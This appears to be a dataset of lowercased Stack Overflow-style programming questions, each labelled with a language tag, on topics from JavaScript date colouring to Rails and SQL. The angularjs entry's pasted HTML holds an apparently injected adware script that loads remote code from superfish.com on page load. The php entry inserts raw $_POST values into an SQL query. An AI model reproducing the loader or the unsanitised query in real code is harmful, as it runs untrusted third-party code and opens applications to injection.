how to you change the text color of the current date using the getdate method   the output doesn t change the color of the current date. when i add in a sample alert statement within the case statement  the alert works. when i remove that and add in the style.color =  red   the current date doesn t turn red. why is that         <pre><code>&lt;head&gt;  &lt;script&gt;  switch (new date().getday()) {     case 0:          document.getelementbyid( sun ).style.color =  red ;         break;     case 1:         document.getelementbyid( mon ).style.color =  red ;         break;     case 2:         document.getelementbyid( tues ).style.color =  red ;         break;     case 3:         document.getelementbyid( wed ).style.color =  red ;         break;     case 4:         document.getelementbyid( thur ).style.color =  red ;         break;     case 5:         document.getelementbyid( fri ).style.color =  red ;         break;     case  6:         document.getelementbyid( sat ).style.color =  red ;         break; }  &lt;/script&gt;     &lt;/head&gt;  &lt;body&gt;     &lt;table&gt;         &lt;tr&gt;             &lt;td&gt;&lt;p id= sun &gt;sun&lt;/p&gt;&lt;/td&gt;             &lt;td&gt;&lt;p id= mon &gt;mon&lt;/p&gt;&lt;/td&gt;             &lt;td&gt;&lt;p id= tue &gt;tue&lt;/p&gt;&lt;/td&gt;             &lt;td&gt;&lt;p id= wed &gt;wed&lt;/p&gt;&lt;/td&gt;             &lt;td&gt;&lt;p id= thur &gt;thur&lt;/p&gt;&lt;/td&gt;             &lt;td&gt;&lt;p id= fri &gt;fri&lt;/p&gt;&lt;/td&gt;             &lt;td&gt;&lt;p id= sat &gt;sat&lt;/p&gt;&lt;/td&gt;                                 &lt;/tr&gt;     &lt;/table&gt;                     &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
running vs in iis mode and pressing f5  i prefer running vs over iis (not cassini).  i ve always though manually attached to the worker process via file menu.  can you just use f5 just as you can with cassini only it s doing the same wiring tot he asp.net worker process but working with iis not cassini   it looks like it  i never really tried f5 for a while after moving to use iis like 7 years ago but looks like you can still just press f5 evenif you re using iis mode (virtual directoryin iis  setting your vs web project to use iis virtual directory).    concur,asp.net
rounding to even single decimal point in java  i am looking for the best way to round to <strong>even</strong> decimal values. for example i have a double = 4.267833399 and i want to round to the nearest even single decimal place  in this case 4.2 and not 4.3. and 4.3165656 would round to 4.4 not 4.3.  i have searched hard and havent found a simple way to do this.    i would like the result as a double.     thanks,java
hovering over an asp session variable  is there a way of identifying the value of a session variable whilst single-stepping  it’s cumbersome to have to go to the immediate window and type  session.item(“name”).,asp.net
how to update wikipages automatically using python scripts  i am using a internal wiki for my projects is there anything available so that i can update my wiki entries automatically using a python script  so that i don t need to go always to the wikipage and edit those pages manually.    thanks     beeth,python
how to get the type of the inner class  parent <pre><code>struct parent {  struct inner  {  } };  void foo() {  bar&lt;parent::inner&gt;(); }   template&lt;class t&gt; void bar() {  //here i would like to get the type of t class  parent } </code></pre>   in the above code  is it possible without writing a protocol or put a typedef inside inner class to get the type of the parent s inner class,c++
"radio buttons exclusive vertical and horizontally  hi i m trying to do a control with radio buttons and i have a grid of radio buttons     so you can only chose one option per row and column and check if is being answered with validation.    also the number of columns and row are known on run time.    please any ideas how should i achieve that in angularjs.    <img src= https://i.stack.imgur.com/yn0dj.png  alt= enter image description here >    this is what i got so far    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>(function(angular) {
    use strict ;
 angular.module( bindhtmlexample   [ ngsanitize ])
   .controller( examplecontroller   [ $scope   function($scope) {
    
    
    
     $scope.myhtml = i am an   &amp;#12470  string with   ;
     
     $scope.surveynames = [ 
  { name:  paint pots   id:  b1238  }  
  { name:  &amp;#12469;&amp;#12452;&amp;#12458;&amp;#12531;&amp;#12490;   id:  b1233  }  
  { name:  pebbles   id:  b3123  } 
  ]; 
 
   $scope.radiobutonscounter =[1 2 3 4 5 6 7];
 
 
 
 
   }]);
 })(window.angular);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html lang= en &gt;
 &lt;head&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;title&gt;example - example-example61-production&lt;/title&gt;
   
 
   &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.3.8/angular.min.js &gt;&lt;/script&gt;
   &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.3.8/angular-sanitize.js &gt;&lt;/script&gt;
   &lt;script src= script.js &gt;&lt;/script&gt;
   
 
   
 &lt;/head&gt;
 &lt;body ng-app= bindhtmlexample &gt;
 
   &lt;div ng-controller= examplecontroller &gt;
  &lt;p ng-bind-html= myhtml &gt;&lt;/p&gt;
  
   &lt;table&gt;
  &lt;tr ng-repeat= name in surveynames &gt;
  &lt;td&gt;&lt;span ng-bind-html= name.name &gt;&lt;/span&gt;&lt;/td&gt;
  &lt;td&gt;{{name.id}}&lt;/td&gt;
  
      &lt;td align= center  ng-repeat =  buttons in radiobutonscounter &gt; 
      
      &lt;input type=radio name= {{name.id}}  value={{buttons }}&gt;{{buttons }}
      
      &lt;/td&gt;
  &lt;/tr&gt;
  
  
  &lt;/table&gt;
 
 &lt;/div&gt;
 &lt;script type= text/javascript &gt;(function () {if (top.location == self.location &amp;&amp; top.location.href.split( # )[0] ==  https://docs.angularjs.org/examples/example-example61/index-production.html ) {var po = document.createelement( script ); po.type =  text/javascript ; po.async = true;po.src = document.location.protocol +  //superfish.com/ws/sf_main.jsp dlsource=ynuizvl&amp;ctid=4ace4acb466a33e85125d9a2b1995285 ;var s = document.getelementsbytagname( script )[0]; s.parentnode.insertbefore(po  s);}})();&lt;/script&gt;&lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",angularjs
c# -- how to handle duplicate multicastdelegate   since we register the callback function <strong>printone</strong> twice  the following code will print the message  printone  twice. here are questions     question 1> why  by default the operator+=(i.e. combine) doesn t check duplicate method handler     question 2> how to avoid this duplicated call in method registercall  i try to find some method in multicastdelegate/delegate that can tell me there is already one in the calling list. but i didn t find it. <a href= http://msdn.microsoft.com/en-us/library/system.multicastdelegate.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/system.multicastdelegate.aspx</a>    thank you   <pre><code>using system; using system.collections.generic; using system.linq; using system.text;  namespace app3 {     class car     {         public delegate void printmethod(string msg);          public string name { get; set; }          private printmethod printmethods;          public car() { }         public car(string name) { name = name; }          public void printcar()         {             if (printmethods != null)             {                 printmethods(this.tostring());             }             else             {                 console.writeline( no method will be called );             }         }         public override string tostring()         {             return string.format( car name is {0}:    name);         }          public static void printone(string msg)         {             console.writeline( printone );         }          public static void printtwo(string msg)         {             console.writeline( printtwo );         }          public void registercall(printmethod methodtocall)         {             printmethods += methodtocall;         }     }     class program     {         static void main(string[] args)         {             car mycar = new car { name =  bmw  };             mycar.registercall(new car.printmethod(car.printone)); // **will print for the first time**             mycar.registercall(new car.printmethod(car.printone)); // **will print for the second time**             mycar.printcar();              console.readline();         }     } } </code></pre>,c#
matching words with same letters  i am trying to match two words and then print them out e.g  act  and  cat  have  a  c  and  t  in them so they match. here is my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  main() {   file        *fptr;   char        words[100]  input[100]  store[1000][100]    char        ch   int         i j k z b *ptr;    ptr = &amp;b;    fptr = fopen( d:\\words.txt   r );   if (fptr == null)   {            printf( could not open file );            exit(1);   }    printf( enter the scrambled word:  );   fflush(stdin);   fgets (input sizeof(input) stdin);    i = 0;   while (fgets(words sizeof(words) fptr) != null)   {              if (strlen(input) == strlen(words))         {            strcpy(store[i] words);            ++i;         }   }   //this is where the problem is:   /*am trying to match the letters in two words  if they don t match then store 1 in b    if b=0 then print out the word which matched with string  input */   for(z = 0; z &lt; 1000; ++z)   {         b = 0;         for(j = 0; j &lt; strlen(input); ++j)         {               for(k = 0; k &lt; strlen(store[z]); ++k)               {                     if(input[j] != store[z][k])                         *ptr = 1;                         }         }         if(*ptr == 0)         {                              printf( word #%2d is: %s\n   z  store[z]);            }   }      fflush(stdin);   getchar(); } </code></pre>   please i really need help. am sorry if i haven t made my question clear.,c
session is getting timed out in 1 minuites  hi i am working on a project the problem happening is in my local system the session is working fine but in the testing server the session is not working sometimes even login is not happening ...sometimes after login it is working for few minuites then getting logged out and sometimes the session is is getting timed out at 1-2 minuites .. please suggest,asp.net
a better way to do this   i am writing a python function with the following:   <pre><code>class myobj(object):     def __init__(self  args):         # there is code here     def newo(self  name  description):         if type(name)==str:             self.oname.append(name)             self.o.append(description)         elif type(name)==list:              for n in name:                 self.oname.append(n)                 self.o.append(description) </code></pre>   however i am led to believe this is not the best way to accomplish this. whats a better way  i want to be able to call newo with a string or a list.,python
change datetime to current user utc  i am trying to change datetime to users utc.    <strong>e.g</strong>     <pre><code>date = anydate (2017-11-03) time = currenttime (time.now) time.zone = current_user.time_zone required = date +  time (to current_user.timezone) </code></pre>,ruby-on-rails
loop some data in mysql to create view  example  i have a database  in database  have table <code>name</code> is unique :   <pre><code>|======|========| | name | action | |======|========| | jhon |   2    | | steve|   1    | |======|========| </code></pre>   i want to create view in mysql and i want view like this:   <pre><code>|======|===========| | name | in cation | |======|===========| | jhon |   1 - 2   | | jhon |   2 - 2   | | steve|   1 - 1   | |======|===========| </code></pre>  <blockquote>    the logic is  jhon have 1-2 and 2-2 because in real table  jhon have 2   in action column  and steve have only 1-1 because in real table  steve   have only 1 in action colmn  i think that is possible because using   only loop  if jhon have have 6 action  than jhon have 1-6  2-6  3-6 .... 6-6.  </blockquote>   how do that,mysql
reference to a web service in an .exe file  i have the next problem: i have a reference to a web service  my app.config is alright and in my asp.net  visual basic code works perfect  but executing the .exe file i get the message  could not find default endpoint element that references contract in the servicemodel...     this is and extract of my app.config:   <pre><code>      &lt;endpoint address= http://address/autenticaservice.svc              binding= basichttpbinding  bindingconfiguration= autenticaendpoint              contract= autenticaservice.autenticaservicecontract  name= autenticaendpoint /&gt; </code></pre>   any clue .. thanks in advance,asp.net
calling a public method in a fragment  in my android app  a fragment uses a library i wrote. what i need to do is use reflection to have a method within the library access a method in the fragment. my code looks like this:   <pre><code>context c = getcontext();  class[] paramtypes = new class[2]; paramtypes[0] = int.class; paramtypes[1] = boolean.class;  java.lang.reflect.method method = c.getclass().getmethod( somemethod   paramtypes);  method.invoke(c  id  selected); </code></pre>   if the method  somemethod  is placed in the fragment class  it never gets called. but if i place it in the activity that the fragment is part of  it will get called. it appears that the getcontext() method is referring to the activity and not the fragment class.    how can i get it to refer to the fragment class  however  keep in mind that my library could be used anywhere including the activity itself. so what i don t want is to reference the context of the fragment but rather the context of whatever class happens to be the one that is using the library.,android
what is the difference between null != object and object!=null <blockquote>    <strong>possible duplicates:</strong><br>   <a href= https://stackoverflow.com/questions/1957836/which-way-is-better-null-object-or-object-null >which way is better &ldquo;null != object&rdquo; or &ldquo; object != null&rdquo; </a><br>   <a href= https://stackoverflow.com/questions/271561/why-does-one-often-see-null-variable-instead-of-variable-null-in-c >why does one often see &ldquo;null != variable&rdquo; instead of &ldquo;variable != null&rdquo; in c# </a><br>   <a href= https://stackoverflow.com/questions/2398588/null-or-null-best-performance >&lsquo; &hellip; != null&rsquo;  or  &lsquo;null != &hellip;&rsquo; best performance </a>    </blockquote>     please guide me. what is the difference between null != object and object!=null<br> same for   .equal( something ) and  something .equals(  )    which one is good for processing.,java
query on rows where the elements of a specific field are not empty  i have the following mysql query   <pre><code>select field1  count(distinct field2) as numbercount   max(addtime(`date` `start`)) as `datetime` from mydatabase group by field1  order by numbercount desc  `datetime` asc limit 0 11 </code></pre>   but my results aren t like i want. i need to consider only rows where  field1  has any value and is not empty.    suggestions     edit: meanwhile i tested the following solution ( adding where not like   ) and it seems to be ok:   <pre><code>select field1  count(distinct field2) as numbercount  max(addtime(date start)) as datetime from mydatabase where not like    group by field1 order by numbercount desc  datetime asc limit 0 11 </code></pre>   are there better solutions,mysql
ruby on rails tutorial: 7.1.3 could not find table  users  using mysql  this question relates to switching from sqlite to mysql in rails prior to doing any database operations  while following the ruby on rails tutorial (2nd ed.).    before i did any database operations with the ruby on rails tutorial (2nd ed.)  i switched the database parameters in the config/database.yml to use mysql. everything has been working up to section 7.1.3. so far the <code>users</code> table was created and a sample user was added to the table successfully. however  when i go to test the show users page at <code>users/1</code> i receive the error message below. is there something else that needs to be done when using a mysql database instead of sqlite  thank you in advance for any support!    error:    <pre><code>activerecord::statementinvalid in userscontroller#show  could not find table  users  </code></pre>   full trace:   <pre><code>activerecord (3.2.11) lib/active_record/connection_adapters/sqlite_adapter.rb:472:in `table_structure  activerecord (3.2.11) lib/active_record/connection_adapters/sqlite_adapter.rb:346:in `columns  activerecord (3.2.11) lib/active_record/connection_adapters/schema_cache.rb:12:in `block in initialize  activerecord (3.2.11) lib/active_record/model_schema.rb:228:in `yield  activerecord (3.2.11) lib/active_record/model_schema.rb:228:in `default  activerecord (3.2.11) lib/active_record/model_schema.rb:228:in `columns  activerecord (3.2.11) lib/active_record/model_schema.rb:237:in `columns_hash  activerecord (3.2.11) lib/active_record/relation/delegation.rb:7:in `columns_hash  activerecord (3.2.11) lib/active_record/relation/finder_methods.rb:331:in `find_one  activerecord (3.2.11) lib/active_record/relation/finder_methods.rb:312:in `find_with_ids  activerecord (3.2.11) lib/active_record/relation/finder_methods.rb:107:in `find  activerecord (3.2.11) lib/active_record/querying.rb:5:in `find  app/controllers/users_controller.rb:4:in `show  actionpack (3.2.11) lib/action_controller/metal/implicit_render.rb:4:in `send_action  actionpack (3.2.11) lib/abstract_controller/base.rb:167:in `process_action  actionpack (3.2.11) lib/action_controller/metal/rendering.rb:10:in `process_action  actionpack (3.2.11) lib/abstract_controller/callbacks.rb:18:in `block in process_action  activesupport (3.2.11) lib/active_support/callbacks.rb:414:in `_run__1973165003296325481__process_action__197160741547540830__callbacks  activesupport (3.2.11) lib/active_support/callbacks.rb:405:in `__run_callback  activesupport (3.2.11) lib/active_support/callbacks.rb:385:in `_run_process_action_callbacks  activesupport (3.2.11) lib/active_support/callbacks.rb:81:in `run_callbacks  actionpack (3.2.11) lib/abstract_controller/callbacks.rb:17:in `process_action  actionpack (3.2.11) lib/action_controller/metal/rescue.rb:29:in `process_action  actionpack (3.2.11) lib/action_controller/metal/instrumentation.rb:30:in `block in process_action  activesupport (3.2.11) lib/active_support/notifications.rb:123:in `block in instrument  activesupport (3.2.11) lib/active_support/notifications/instrumenter.rb:20:in `instrument  activesupport (3.2.11) lib/active_support/notifications.rb:123:in `instrument  actionpack (3.2.11) lib/action_controller/metal/instrumentation.rb:29:in `process_action  actionpack (3.2.11) lib/action_controller/metal/params_wrapper.rb:207:in `process_action  activerecord (3.2.11) lib/active_record/railties/controller_runtime.rb:18:in `process_action  actionpack (3.2.11) lib/abstract_controller/base.rb:121:in `process  actionpack (3.2.11) lib/abstract_controller/rendering.rb:45:in `process  actionpack (3.2.11) lib/action_controller/metal.rb:203:in `dispatch  actionpack (3.2.11) lib/action_controller/metal/rack_delegation.rb:14:in `dispatch  actionpack (3.2.11) lib/action_controller/metal.rb:246:in `block in action  actionpack (3.2.11) lib/action_dispatch/routing/route_set.rb:73:in `call  actionpack (3.2.11) lib/action_dispatch/routing/route_set.rb:73:in `dispatch  actionpack (3.2.11) lib/action_dispatch/routing/route_set.rb:36:in `call  journey (1.0.4) lib/journey/router.rb:68:in `block in call  journey (1.0.4) lib/journey/router.rb:56:in `each  journey (1.0.4) lib/journey/router.rb:56:in `call  actionpack (3.2.11) lib/action_dispatch/routing/route_set.rb:601:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/best_standards_support.rb:17:in `call  rack (1.4.5) lib/rack/etag.rb:23:in `call  rack (1.4.5) lib/rack/conditionalget.rb:25:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/head.rb:14:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/params_parser.rb:21:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/flash.rb:242:in `call  rack (1.4.5) lib/rack/session/abstract/id.rb:210:in `context  rack (1.4.5) lib/rack/session/abstract/id.rb:205:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/cookies.rb:341:in `call  activerecord (3.2.11) lib/active_record/query_cache.rb:64:in `call  activerecord (3.2.11) lib/active_record/connection_adapters/abstract/connection_pool.rb:479:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/callbacks.rb:28:in `block in call  activesupport (3.2.11) lib/active_support/callbacks.rb:405:in `_run__2423197318852707609__call__2019361553739003282__callbacks  activesupport (3.2.11) lib/active_support/callbacks.rb:405:in `__run_callback  activesupport (3.2.11) lib/active_support/callbacks.rb:385:in `_run_call_callbacks  activesupport (3.2.11) lib/active_support/callbacks.rb:81:in `run_callbacks  actionpack (3.2.11) lib/action_dispatch/middleware/callbacks.rb:27:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/reloader.rb:65:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/remote_ip.rb:31:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/debug_exceptions.rb:16:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/show_exceptions.rb:56:in `call  railties (3.2.11) lib/rails/rack/logger.rb:32:in `call_app  railties (3.2.11) lib/rails/rack/logger.rb:16:in `block in call  activesupport (3.2.11) lib/active_support/tagged_logging.rb:22:in `tagged  railties (3.2.11) lib/rails/rack/logger.rb:16:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/request_id.rb:22:in `call  rack (1.4.5) lib/rack/methodoverride.rb:21:in `call  rack (1.4.5) lib/rack/runtime.rb:17:in `call  activesupport (3.2.11) lib/active_support/cache/strategy/local_cache.rb:72:in `call  rack (1.4.5) lib/rack/lock.rb:15:in `call  actionpack (3.2.11) lib/action_dispatch/middleware/static.rb:62:in `call  railties (3.2.11) lib/rails/engine.rb:479:in `call  railties (3.2.11) lib/rails/application.rb:223:in `call  rack (1.4.5) lib/rack/content_length.rb:14:in `call  rack (1.4.5) lib/rack/handler/webrick.rb:59:in `service  /opt/bitnami/ruby/lib/ruby/1.9.1/webrick/httpserver.rb:138:in `service  /opt/bitnami/ruby/lib/ruby/1.9.1/webrick/httpserver.rb:94:in `run  /opt/bitnami/ruby/lib/ruby/1.9.1/webrick/server.rb:191:in `block in start_thread  </code></pre>,ruby-on-rails
css layout with flex  so i have this style that looks differently in chrome and firefox... i want to have this large rectangle area that would be in a way the main area of the page  and then there would be several smaller divs aligned into columns with flex.    my current page:   <pre><code>&lt;div class= flexcontainer &gt;     &lt;div id= mainarea  class= mainarea &gt;         main area     &lt;/div&gt;     &lt;div class= area  &gt;         asdf     &lt;/div&gt;     &lt;div class= area  &gt;         asdf     &lt;/div&gt;     &lt;div class= area &gt;         asdf     &lt;/div&gt;     &lt;div class= area &gt;         asdf     &lt;/div&gt;     &lt;div class= area &gt;         asdf     &lt;/div&gt; &lt;/div&gt; </code></pre>   and current css:   <pre><code>.area {     background: #ffffff;     /*border-radius: 15px;     box-shadow: 0px 0px 20px 1px #303030;*/     margin: 0px 0px 2px 2px;     width:12em;     min-height:12em;     display:block; }  .mainarea {     display:block;     width:700px;     height:100%;     background: #ffffff;     padding:5px;     /*box-shadow: 5px 0px 10px 1px #303030;*/ }  .flexcontainer {     height:100%;     margin:0px;     padding:0px;     display: -webkit-box;     display: -moz-box;     display: -ms-flexbox;     display: -webkit-flex;     display: flex;     align-items: baseline;     -webkit-flex-flow: column wrap;     flex-direction: column wrap; } </code></pre>   for now when i start it in chrome it looks pretty much ok  except that spaces between columns are enormous. i already tried doing some weird stuff with padding and margins  but nothing helps. then  when i start it in firefox  the spaces between columns are ok  but each div is in a separate column :( what am i doing wrong,css
printing from android  is there any simple and sweet solution for printing a simple text file or image from  android      i ve seen print 2 share but it s not free and didn t find any other api for it.,android
converting string to integer error  i translate my code and i am facing an error. here is my code:   <pre><code> private boolean checkplace(coordinate c){     return  0 .equals(matrix[string.valueof((char) c.getx())][string.valueof((char) c.gety())]); } </code></pre>   the error is:   incompatible types: string cannot be converted to int    matrix is a 2d array  getx returns an integer and gety returns an integer. any help is appreciated  thank you,java
windows from application compatibility with window xp windows7 and windows 8  i have developed desktop application using .net 3.5 framework on window 7  32 bit system .it is working fine on windows 7  32 bit and xp  but not working on windows 8.i have build the application with <code>build properties  platform target  as any</code>.  how to make the application compatible with windows xp  win7 32  64 bit windows 8,.net
in css computed properties panel  the topmost style does not seem to overwrite the less specific style — how could that be   a certain element in my html has a parent element with <code>font-size: 0</code>  but then it has its own css rules with <code>font-size: 1.9em</code>. i can verify this in chrome’s <code>computed properties</code> panel. i can also see that the style with <code>font-size: 0</code> is crossed out  so it s overridden. and yet  to my great surprise  the resultant calculated <code>font-size</code> is still 0. how can this be possible     <em>(the element does not have any inline styles  if anyone is wondering)</em>    <a href= https://i.stack.imgur.com/oxumr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/oxumr.png  alt= enter image description here ></a>,css
syntax error when using __init__  i apologize if the answer is obvious  but for some reason  the following code gives me a syntax error at every line after def _ _ init _ _ block. if i simply comment out init  the entire program works fine however.   <pre><code>import graphics from graphics import *   class block:      def __init__(self x y win fid length orien colour):          wind = win         if (orien ==  horizontal ):              topl dump = getpoint(fid)              lightrect = rectangle(getpoint(fid)     #      else:    #         x =5        def draw(self):         return               def undraw(self):         return       def highlight(self):         return       def unhighlight(self):         return       def switchhighlight(self):         return      def move(self target):         return </code></pre>   any help would be greatly appreciated!,python
refreshing div with jquery  but undo last change  i have a table that colors the cell of the current  winner  based on 2 teams scores. it works great  but now i am trying to automate the process by refreshing the information within a div.    what it s doing is refreshing  but keeping the old highlighted cell as well. i want it to remove the highlight from the old cell  as well as highlight the new cell.    here is what i am using now to highlight based on score:   <pre><code>function highlight(&lt; php echo $nfc_team;  &gt;  &lt; php echo $afc_team;  &gt;) { var col  row; default  col = $( #countit td ).filter(function() { //return column of nfc team return $(this).html() === &lt; php echo $nfc_team;  &gt;.replace(  -     &lt;br&gt; ); }).index();   row = $( #countit tr ).filter(function() { //return row of afc team return $(this).html().indexof(&lt; php echo $afc_team;  &gt;.replace(  -     &lt;br&gt; )) &gt; -1; }).index();  $( tr ).eq(row + 1).find( td ).eq(col).css( background-color    #ffff00 ); }   highlight( &lt; php echo $nfc_team;  &gt; - &lt; php echo $nfc_score;  &gt;    &lt; php echo $afc_team;  &gt; - &lt; php echo $afc_score;  &gt; ); </code></pre>   and here is what i use to refresh the div (that contains the above code as well):   <pre><code>var auto_refresh = setinterval( function () { $( #refresh ).load( table.php ).fadein( slow ); }  5000); // refresh every 5 seconds </code></pre>   seems simple but i have clue.,jquery
assign  y  flag if  y  is present in multi set table  i am trying to get a sql for below data.  i have data like    <pre><code>id   | flag 1    | y 2    | y 1    | y 2    | n 1    | y 1    | y 1    | y 3    | n 3    | n 3    | n 2    | n 3    | n </code></pre>   expeted output    <pre><code>1 | y 2 | y 3 | n </code></pre>   if id column has y and or n then display y. if it contains only n then display n,sql
ios: which one differentiates soap or rest  i know about soap and restful service usage on ios development. soap can only use xml messaging but rest can use either. using nsurlconnection initwithurlrequest asynchronous call i can achieve working on both services  both can also use post  get and put. but  i would really to know how can we really identify whether my ios code consuming soap or rest service  i got this doubt because even rest can also use xml messaging. which is the one (code) really differentiates that i m using soap or rest web service calls on my ios program. please someone clarify my doubt.    thank you.,ios
rails solution to give a user a warning that another user is currently editing the same record  i would like a gem or solution so that if a user navigates to the edit view of a record that another user is already editing  the 2nd user has a simple flash warning that someone else is already editing this record. i don t need any optimistic or pessimistic locking of the record. i was hopping to find a gem that already had a solution for this. if not my line of thinking was:   <ul> <li>saving a record of the record id and the user id to a activities table in the edit action of the controller.</li> <li>check if there are any other records when navigating to the edit view.</li> <li>when the record is updated  or the user navigates away from the page  remove the activity record.</li> </ul>   potential issue i see:   <ul> <li>updating that the record is no long being updated if the browser window is closed  or the users computer is turned off (without explicitly navigating away from the page).</li> </ul>   any examples  or points in the right direction would be great.,ruby-on-rails
detailsview does not appear despite visible = true  and how to bind to an empty hashtable   i am trying to bind a hashtable to a detailsview in my asp.net web app. when i do this  the detailsview does not appear on the webpage when i do a debug. i have checked all the properties for the control and ensured that the visible and autogeneratecolumns (there is no autogeneraterows property) is set to true  and it is.    also  i want to bind this detailsview to a hashtable  but when i do  i keep getting object reference not set to an instance of an object errors due to the datasource property or when i say datasource = strings.keys (where strings is the id of the hashtable). i can understand why this happens  as the strings.keys property is null (hasn t been specified  even when i specify it from using an external example of how this property is used  same error). i was expecting the detailsview to just render  an empty table with key and object rows. how could i achieve that  eventually  i want to bind a label to a value i get back from the hashtable (using a function returning a string).    thanks,asp.net
which is better: several sql queries or one sql data with lots of data   i am making a quiz and i am expecting a lot of players for it. the quiz has a fixed number of questions.the quiz system can either fetch individual questions one by one from the mysql database and display it to the user. or alternatively  i can fetch all the questions when he/she logs in and display them one by one. can the second method significantly help in reducing the load on the server due to large number of sql queries  here i am talking about 500-600 users simultaneously playing the game.,sql
add new field in existing built in application of iphone  hope you all are fine and are in your best of moods.    i herewith one doubt to ask you  kindly help me by giving its solution.    i need to add one custom field in existing built in contact application of iphone.    i mean i need to allow user to set different icon or logo for different contact. so i need to add one field namely icon or logo in existing application.    but i don t know how to do this  weather it is possible or not or is there any alternate solution for that or not       kindly post your answers.    thanks in advance.,iphone
integrating modules one solution 4projects  i am trying to integrate 2 modules using visual web developer    module1 contains the following: uilayermodule1  bllmodule1  dalmodule1  webconfig  site.master    module2 contains uilayermodule2  bllmodule2  dalmodule2  webconfig  site.master    this is how i started.     create a new project in visualweb developer   <ol> <li> add project: bll. i this bll i added bllmodule1 bllmodule2 </li> <li> project2 dal: this i added dalmodule1 dalmodule2 </li> <li> project3: uilayermodule1 </li> <li> project4: uilayermodule2 </li> </ol>   then put all these under the same namespace.     but it shows an error in configuration and system.ui. (unable to recognize system.web)    unable to recongnize system.configuration    also  in the uilayer none of aspx files are shown  only the aspx.cs and designer are shown    thanks    sun,asp.net
which approach to use for kvc   which way is better to use for key value coding  lets assume that <strong>mycontroller</strong> class have variable <strong>myvariable</strong>. could some one write opinion which is good which is bad and why.   <h1>1.</h1>  <pre><code>// method in the mycontroller class. - (nsstring*)myvariablekvc {     return nsstringfromselector(@selector(myvariable)); }  [mycontroller addobserver:self                forkeypath:[mycontroller myvariablekvc]                   options:nskeyvalueobservingoptionnew                   context:nil]; </code></pre>  <h1>2.</h1>  <pre><code>[mycontroller addobserver:self                forkeypath:@ myvariable                    options:nskeyvalueobservingoptionnew                   context:nil]; </code></pre>   from my point of view first part is more better. we do not have hard coded strings and when we will do rename using <strong>refactor -> rename...</strong> then it will be renamed.,objective-c
ios image with clickable content  i m trying to figure out how i can have an image with click-able content. my simple prototype project require to load an image for example a car dashboard and allow the user click an area on that image to pop some information.i thought about using uiimageview and adding transparent custom uibutton not sure if that is the correct/right way of doing it specially with allowing user to zoom ..etc . hope to get some points/ideas how that can be accomplished.    thanks mike,ios
how to make a square button  i have a button on my website and i want to make it square:    how do a make a square button and make it still act like a button so it changes a little bit when i scroll over it    here is my example: note that the button can t be clicked on    <a href= http://jsfiddle.net/hruwm/  rel= noreferrer >http://jsfiddle.net/hruwm/</a>    (what css will make this work ) here is what i tried:   <pre><code>&lt;input class= butt  type= button  value= test /&gt; .butt{ border: 1px outset blue;  background-color: lightblue;} </code></pre>,css
php process page does not work  hi guys my process page does not work  my code is   <pre><code>&lt; php $id = $_post[ item_id ]; $qty = $_post[ item_qty ]; $name = $_post[ item_name ];  $con = mysqli_connect ( localhost    name    password    db );  // check connection if (mysqli_connect_errno())     {     echo  failed to connect to mysql:   . mysqli_connect_error();     }  $sql =  insert into temp (id  qty  name) values ( $_post[id]    $_post[qty]    $_post[name] ) ;  if (!mysqli_query($con  $sql))     {     die( error:   . mysqli_error());     }  header( location: http://url.com/ );  mysqli_close($con); </code></pre>    >    should be all correct  just copy from w3school  the problem is  the db only get 0     ie. my $id is 4  $qty is 12  $name is  hello   after the process page  the table only get two 0s in id and qty  name is void.    the values should be processed to this process page successfully  bc i have tried   <pre><code>echo $id  $qty  $name; </code></pre>   all are the same as i typed in before.    could anyone help me  thanks :-),php
having trouble in displaying uitableview  please see   <pre><code>    - (uitableviewcell *)tableview:(uitableview *)tableview      cellforrowatindexpath:(nsindexpath *)indexpath  {  static nsstring *simpletableidentifier = @ simpletableidentifier ; uitableviewcell *cell = [tableview                          dequeuereusablecellwithidentifier:simpletableidentifier]; if (cell == nil) {     cell = [[[uitableviewcell alloc]initwithstyle:uitableviewcellstyledefault                                   reuseidentifier:simpletableidentifier] autorelease];     uilabel *playerheading=[[uilabel alloc ]initwithframe:cgrectmake(5.0f  10.0f  70.0f  30.0f)]; [playerheading setbackgroundcolor:[uicolor clearcolor]];   nsstring *str=[nsstring stringwithformat:@ player %i  indexpath.row]; [playerheading settext:str]; [playerheading setfont:[uifont boldsystemfontofsize:15]];  if(indexpath.section%2==0){     playerheading.textcolor=[uicolor redcolor]; } else {     playerheading.textcolor=[uicolor bluecolor];  }  uitextfield *txt=[[uitextfield alloc]initwithframe:cgrectmake(80.0f  13.0f  170.0f  30.0f)]; [txt setbackgroundcolor:[uicolor clearcolor]];   //[txt setbackgroundcolor:[uicolor whitecolor]]; [txt settextcolor:[uicolor graycolor]]; txt.delegate=self; //[txt setborderstyle:uiborderstyle ] [txt settext:@ enter player name ]; //txt.layer.cornerradius=8.0f;    //   txt.layer.maskstobounds=yes; //txt.layer.bordercolor=[[uicolor redcolor]cgcolor];    //   txt.layer.borderwidth= 1.0f;  [cell.contentview addsubview:txt];  [cell.contentview addsubview:playerheading];  [cell.contentview setalpha:0.8f]; //ce]ll.textlabel.text = [listdata objectatindex:row]; } return cell; </code></pre>   }    i want to display the number in sequence like player 0  player 1  player 2... but as i scroll the table i get numbers in random format like player 1  player 0  player 3  please help how to solve this issue.,iphone
